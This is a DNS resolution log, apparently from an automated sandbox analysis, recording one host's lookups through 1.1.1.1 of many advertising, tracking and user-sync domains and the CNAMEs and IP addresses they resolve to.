Mar 28, 2024 09:51:34.095005035 CET	1.1.1.1	192.168.2.4	0x577	No error (0)	zemanta-nychi2.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:34.097515106 CET	1.1.1.1	192.168.2.4	0x24f1	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:34.097991943 CET	1.1.1.1	192.168.2.4	0xdec3	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:35.931492090 CET	1.1.1.1	192.168.2.4	0xe5f7	No error (0)	google-bidout-d.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:35.931492090 CET	1.1.1.1	192.168.2.4	0xe5f7	No error (0)	google-bidout-d.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:35.939173937 CET	1.1.1.1	192.168.2.4	0xb325	No error (0)	1f2e7.v.fwmrm.net	g11v.fwgtm.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:35.972429037 CET	1.1.1.1	192.168.2.4	0xdfe9	No error (0)	1f2e7.v.fwmrm.net	g11v.fwgtm.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.000118971 CET	1.1.1.1	192.168.2.4	0x44fb	No error (0)	cdn.indexww.com		172.64.149.180	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.000118971 CET	1.1.1.1	192.168.2.4	0x44fb	No error (0)	cdn.indexww.com		104.18.38.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.000597000 CET	1.1.1.1	192.168.2.4	0x97d	No error (0)	cdn.indexww.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:36.091274023 CET	1.1.1.1	192.168.2.4	0xfcb	No error (0)	id.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.168649912 CET	1.1.1.1	192.168.2.4	0xcc8a	No error (0)	cdn.bidbrain.app			65	IN (0x0001)	false
Mar 28, 2024 09:51:36.174262047 CET	1.1.1.1	192.168.2.4	0xf743	No error (0)	cdn.bidbrain.app		104.21.80.92	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.174262047 CET	1.1.1.1	192.168.2.4	0xf743	No error (0)	cdn.bidbrain.app		172.67.176.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.196357965 CET	1.1.1.1	192.168.2.4	0x7a9c	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.196357965 CET	1.1.1.1	192.168.2.4	0x7a9c	No error (0)	simage2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.196357965 CET	1.1.1.1	192.168.2.4	0x7a9c	No error (0)	pug-vac.pubmnet.com		8.28.7.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.196598053 CET	1.1.1.1	192.168.2.4	0xa92b	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.196598053 CET	1.1.1.1	192.168.2.4	0xa92b	No error (0)	simage2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.254704952 CET	1.1.1.1	192.168.2.4	0x72b1	No error (0)	prebid-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.254837990 CET	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	prebid-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.401676893 CET	1.1.1.1	192.168.2.4	0xdb76	No error (0)	idsync.frontend.weborama.fr		34.111.131.239	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.449887037 CET	1.1.1.1	192.168.2.4	0xf7ca	No error (0)	sync.smartadserver.com	rtb-csync.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.449887037 CET	1.1.1.1	192.168.2.4	0xf7ca	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.492723942 CET	1.1.1.1	192.168.2.4	0xaf05	No error (0)	bcp.crwdcntrl.net		54.234.166.1	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.492723942 CET	1.1.1.1	192.168.2.4	0xaf05	No error (0)	bcp.crwdcntrl.net		44.219.90.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.492723942 CET	1.1.1.1	192.168.2.4	0xaf05	No error (0)	bcp.crwdcntrl.net		18.214.22.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.492723942 CET	1.1.1.1	192.168.2.4	0xaf05	No error (0)	bcp.crwdcntrl.net		34.224.142.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.492723942 CET	1.1.1.1	192.168.2.4	0xaf05	No error (0)	bcp.crwdcntrl.net		34.198.123.133	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.492723942 CET	1.1.1.1	192.168.2.4	0xaf05	No error (0)	bcp.crwdcntrl.net		107.23.193.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.492723942 CET	1.1.1.1	192.168.2.4	0xaf05	No error (0)	bcp.crwdcntrl.net		52.207.168.130	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.492723942 CET	1.1.1.1	192.168.2.4	0xaf05	No error (0)	bcp.crwdcntrl.net		18.207.42.67	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.584841013 CET	1.1.1.1	192.168.2.4	0x1fc3	No error (0)	hde.tynt.com		67.202.105.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.584841013 CET	1.1.1.1	192.168.2.4	0x1fc3	No error (0)	hde.tynt.com		67.202.105.33	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.598747969 CET	1.1.1.1	192.168.2.4	0x3373	No error (0)	cms.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.598747969 CET	1.1.1.1	192.168.2.4	0x3373	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.598747969 CET	1.1.1.1	192.168.2.4	0x3373	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.598747969 CET	1.1.1.1	192.168.2.4	0x3373	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.598747969 CET	1.1.1.1	192.168.2.4	0x3373	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.598939896 CET	1.1.1.1	192.168.2.4	0x672e	No error (0)	cms.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.598939896 CET	1.1.1.1	192.168.2.4	0x672e	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.598939896 CET	1.1.1.1	192.168.2.4	0x672e	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.645028114 CET	1.1.1.1	192.168.2.4	0xdb63	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.645028114 CET	1.1.1.1	192.168.2.4	0xdb63	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.646723032 CET	1.1.1.1	192.168.2.4	0x32ee	No error (0)	sync.srv.stackadapt.com		54.156.138.144	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.646723032 CET	1.1.1.1	192.168.2.4	0x32ee	No error (0)	sync.srv.stackadapt.com		54.210.145.203	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.646723032 CET	1.1.1.1	192.168.2.4	0x32ee	No error (0)	sync.srv.stackadapt.com		54.144.120.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.646723032 CET	1.1.1.1	192.168.2.4	0x32ee	No error (0)	sync.srv.stackadapt.com		54.167.157.124	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.646723032 CET	1.1.1.1	192.168.2.4	0x32ee	No error (0)	sync.srv.stackadapt.com		54.145.45.250	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.646723032 CET	1.1.1.1	192.168.2.4	0x32ee	No error (0)	sync.srv.stackadapt.com		54.152.230.68	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.646723032 CET	1.1.1.1	192.168.2.4	0x32ee	No error (0)	sync.srv.stackadapt.com		54.205.159.141	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.646723032 CET	1.1.1.1	192.168.2.4	0x32ee	No error (0)	sync.srv.stackadapt.com		54.204.238.69	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.646977901 CET	1.1.1.1	192.168.2.4	0xf3f3	No error (0)	aorta.clickagy.com		34.197.11.80	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.646977901 CET	1.1.1.1	192.168.2.4	0xf3f3	No error (0)	aorta.clickagy.com		18.209.135.119	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.646977901 CET	1.1.1.1	192.168.2.4	0xf3f3	No error (0)	aorta.clickagy.com		35.170.115.58	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.646977901 CET	1.1.1.1	192.168.2.4	0xf3f3	No error (0)	aorta.clickagy.com		44.213.220.50	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.647042036 CET	1.1.1.1	192.168.2.4	0x7504	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.647042036 CET	1.1.1.1	192.168.2.4	0x7504	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.648121119 CET	1.1.1.1	192.168.2.4	0xf537	No error (0)	rtb.openx.net		35.186.253.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.648121119 CET	1.1.1.1	192.168.2.4	0xf537	No error (0)	rtb.openx.net		35.227.252.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.663450003 CET	1.1.1.1	192.168.2.4	0x7dd2	No error (0)	sync.ipredictive.com		54.166.87.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.663450003 CET	1.1.1.1	192.168.2.4	0x7dd2	No error (0)	sync.ipredictive.com		52.6.135.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.663450003 CET	1.1.1.1	192.168.2.4	0x7dd2	No error (0)	sync.ipredictive.com		52.70.178.63	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.663450003 CET	1.1.1.1	192.168.2.4	0x7dd2	No error (0)	sync.ipredictive.com		54.157.68.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.663450003 CET	1.1.1.1	192.168.2.4	0x7dd2	No error (0)	sync.ipredictive.com		52.87.49.60	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.663450003 CET	1.1.1.1	192.168.2.4	0x7dd2	No error (0)	sync.ipredictive.com		52.3.141.88	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.663450003 CET	1.1.1.1	192.168.2.4	0x7dd2	No error (0)	sync.ipredictive.com		54.167.230.135	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.663450003 CET	1.1.1.1	192.168.2.4	0x7dd2	No error (0)	sync.ipredictive.com		52.86.217.207	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.667104006 CET	1.1.1.1	192.168.2.4	0x3be5	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.667104006 CET	1.1.1.1	192.168.2.4	0x3be5	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.668994904 CET	1.1.1.1	192.168.2.4	0xd52a	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:36.668994904 CET	1.1.1.1	192.168.2.4	0xd52a	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.118088007 CET	1.1.1.1	192.168.2.4	0x422b	No error (0)	pippio.com		107.178.254.65	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.119501114 CET	1.1.1.1	192.168.2.4	0x6613	No error (0)	www.google.com		142.251.111.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.119501114 CET	1.1.1.1	192.168.2.4	0x6613	No error (0)	www.google.com		142.251.111.99	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.119501114 CET	1.1.1.1	192.168.2.4	0x6613	No error (0)	www.google.com		142.251.111.104	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.119501114 CET	1.1.1.1	192.168.2.4	0x6613	No error (0)	www.google.com		142.251.111.147	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.119501114 CET	1.1.1.1	192.168.2.4	0x6613	No error (0)	www.google.com		142.251.111.105	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.119501114 CET	1.1.1.1	192.168.2.4	0x6613	No error (0)	www.google.com		142.251.111.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.119559050 CET	1.1.1.1	192.168.2.4	0xf65f	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:37.459594965 CET	1.1.1.1	192.168.2.4	0x2527	No error (0)	ssbsync.smartadserver.com	ssbsync-geo.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.459594965 CET	1.1.1.1	192.168.2.4	0x2527	No error (0)	ssbsync-geo.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.815246105 CET	1.1.1.1	192.168.2.4	0x37e2	No error (0)	g.bidbrain.app		104.21.80.92	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.815246105 CET	1.1.1.1	192.168.2.4	0x37e2	No error (0)	g.bidbrain.app		172.67.176.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.839426041 CET	1.1.1.1	192.168.2.4	0xfed3	No error (0)	g.bidbrain.app			65	IN (0x0001)	false
Mar 28, 2024 09:51:37.841813087 CET	1.1.1.1	192.168.2.4	0x3c24	No error (0)	www8.smartadserver.com	adapi-secure.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.841813087 CET	1.1.1.1	192.168.2.4	0x3c24	No error (0)	adapi-secure.smartadserver.com	geo-eu-us-secure.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.841907024 CET	1.1.1.1	192.168.2.4	0xd8b5	No error (0)	www8.smartadserver.com	adapi-secure.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.841907024 CET	1.1.1.1	192.168.2.4	0xd8b5	No error (0)	adapi-secure.smartadserver.com	geo-eu-us-secure.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.841907024 CET	1.1.1.1	192.168.2.4	0xd8b5	No error (0)	use2.smartadserver.com		147.135.119.115	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.841907024 CET	1.1.1.1	192.168.2.4	0xd8b5	No error (0)	use2.smartadserver.com		147.135.119.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.841907024 CET	1.1.1.1	192.168.2.4	0xd8b5	No error (0)	use2.smartadserver.com		135.148.2.48	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.841907024 CET	1.1.1.1	192.168.2.4	0xd8b5	No error (0)	use2.smartadserver.com		135.148.2.49	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.841907024 CET	1.1.1.1	192.168.2.4	0xd8b5	No error (0)	use2.smartadserver.com		147.135.94.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.841907024 CET	1.1.1.1	192.168.2.4	0xd8b5	No error (0)	use2.smartadserver.com		147.135.94.208	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.920233011 CET	1.1.1.1	192.168.2.4	0x128	No error (0)	r.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.920233011 CET	1.1.1.1	192.168.2.4	0x128	No error (0)	r.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.921807051 CET	1.1.1.1	192.168.2.4	0x4b20	No error (0)	r.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:37.965157986 CET	1.1.1.1	192.168.2.4	0x14e8	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.965157986 CET	1.1.1.1	192.168.2.4	0x14e8	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.965920925 CET	1.1.1.1	192.168.2.4	0x6707	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.965920925 CET	1.1.1.1	192.168.2.4	0x6707	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.967454910 CET	1.1.1.1	192.168.2.4	0xc549	No error (0)	tr.blismedia.com		34.96.105.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.967735052 CET	1.1.1.1	192.168.2.4	0x2698	No error (0)	aep.mxptint.net		38.98.69.175	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.969507933 CET	1.1.1.1	192.168.2.4	0x454e	No error (0)	cs.chocolateplatform.com		159.203.145.121	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.970690012 CET	1.1.1.1	192.168.2.4	0xb609	No error (0)	beacon.lynx.cognitivlabs.com	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.970690012 CET	1.1.1.1	192.168.2.4	0xb609	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		34.203.68.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.970690012 CET	1.1.1.1	192.168.2.4	0xb609	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		44.222.46.243	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.970690012 CET	1.1.1.1	192.168.2.4	0xb609	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		54.205.163.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.970690012 CET	1.1.1.1	192.168.2.4	0xb609	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		18.206.50.161	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.970901012 CET	1.1.1.1	192.168.2.4	0x58df	No error (0)	beacon.lynx.cognitivlabs.com	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.976999044 CET	1.1.1.1	192.168.2.4	0x3863	No error (0)	s.uuidksinc.net		31.220.27.135	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.976999044 CET	1.1.1.1	192.168.2.4	0x3863	No error (0)	s.uuidksinc.net		185.98.54.153	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.976999044 CET	1.1.1.1	192.168.2.4	0x3863	No error (0)	s.uuidksinc.net		31.220.27.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.976999044 CET	1.1.1.1	192.168.2.4	0x3863	No error (0)	s.uuidksinc.net		31.220.27.134	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.979345083 CET	1.1.1.1	192.168.2.4	0x6df9	No error (0)	google.partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:37.979345083 CET	1.1.1.1	192.168.2.4	0x6df9	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		44.199.161.71	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.979345083 CET	1.1.1.1	192.168.2.4	0x6df9	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.200.171.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.979345083 CET	1.1.1.1	192.168.2.4	0x6df9	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		44.216.86.20	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.979345083 CET	1.1.1.1	192.168.2.4	0x6df9	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.226.105.113	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.979345083 CET	1.1.1.1	192.168.2.4	0x6df9	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		18.213.142.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.979345083 CET	1.1.1.1	192.168.2.4	0x6df9	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.93.32.71	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.979345083 CET	1.1.1.1	192.168.2.4	0x6df9	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.20.254.92	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.979345083 CET	1.1.1.1	192.168.2.4	0x6df9	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.210.30.134	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.994494915 CET	1.1.1.1	192.168.2.4	0x2312	No error (0)	cc.adingo.jp		3.223.97.57	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.994494915 CET	1.1.1.1	192.168.2.4	0x2312	No error (0)	cc.adingo.jp		3.92.219.167	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.994494915 CET	1.1.1.1	192.168.2.4	0x2312	No error (0)	cc.adingo.jp		100.26.26.65	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.004424095 CET	1.1.1.1	192.168.2.4	0x1568	No error (0)	google.partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.109312057 CET	1.1.1.1	192.168.2.4	0xc147	No error (0)	pghub.io		35.241.45.217	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.111978054 CET	1.1.1.1	192.168.2.4	0x98aa	No error (0)	pubmatic-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.131139994 CET	1.1.1.1	192.168.2.4	0x2a3c	No error (0)	a.sportradarserving.com	zagreb.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.131139994 CET	1.1.1.1	192.168.2.4	0x2a3c	No error (0)	zagreb.geo.iponweb.net	pool-use.zagreb.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.131139994 CET	1.1.1.1	192.168.2.4	0x2a3c	No error (0)	pool-use.zagreb.iponweb.net		35.211.233.246	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.132529020 CET	1.1.1.1	192.168.2.4	0x22d5	No error (0)	a.sportradarserving.com	zagreb.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.132529020 CET	1.1.1.1	192.168.2.4	0x22d5	No error (0)	zagreb.geo.iponweb.net	pool-use.zagreb.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.155036926 CET	1.1.1.1	192.168.2.4	0xd48a	No error (0)	pubmatic-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.159907103 CET	1.1.1.1	192.168.2.4	0x4bbb	No error (0)	ads.stickyadstv.com	ip1.ads.stickyadstv.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.161113024 CET	1.1.1.1	192.168.2.4	0xe7c8	No error (0)	ads.stickyadstv.com	ip1.ads.stickyadstv.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.259532928 CET	1.1.1.1	192.168.2.4	0x3e73	No error (0)	a.teads.tv	a.teads.tv.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.259962082 CET	1.1.1.1	192.168.2.4	0x697b	No error (0)	a.teads.tv	a.teads.tv.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.271042109 CET	1.1.1.1	192.168.2.4	0xd1cd	No error (0)	lb.eu-1-id5-sync.com		141.95.98.64	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.271042109 CET	1.1.1.1	192.168.2.4	0xd1cd	No error (0)	lb.eu-1-id5-sync.com		162.19.138.119	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.271042109 CET	1.1.1.1	192.168.2.4	0xd1cd	No error (0)	lb.eu-1-id5-sync.com		162.19.138.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.271042109 CET	1.1.1.1	192.168.2.4	0xd1cd	No error (0)	lb.eu-1-id5-sync.com		162.19.138.118	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.271042109 CET	1.1.1.1	192.168.2.4	0xd1cd	No error (0)	lb.eu-1-id5-sync.com		162.19.138.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.271042109 CET	1.1.1.1	192.168.2.4	0xd1cd	No error (0)	lb.eu-1-id5-sync.com		162.19.138.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.271042109 CET	1.1.1.1	192.168.2.4	0xd1cd	No error (0)	lb.eu-1-id5-sync.com		141.95.33.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.271042109 CET	1.1.1.1	192.168.2.4	0xd1cd	No error (0)	lb.eu-1-id5-sync.com		162.19.138.116	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.271042109 CET	1.1.1.1	192.168.2.4	0xd1cd	No error (0)	lb.eu-1-id5-sync.com		162.19.138.82	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.271042109 CET	1.1.1.1	192.168.2.4	0xd1cd	No error (0)	lb.eu-1-id5-sync.com		141.95.98.65	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.273557901 CET	1.1.1.1	192.168.2.4	0xc656	No error (0)	cm.g.doubleclick.net		172.253.63.154	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.273557901 CET	1.1.1.1	192.168.2.4	0xc656	No error (0)	cm.g.doubleclick.net		172.253.63.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.286993980 CET	1.1.1.1	192.168.2.4	0xfc5e	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:38.286993980 CET	1.1.1.1	192.168.2.4	0xfc5e	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		3.222.196.53	A (IP address)	IN (0x0001)	false
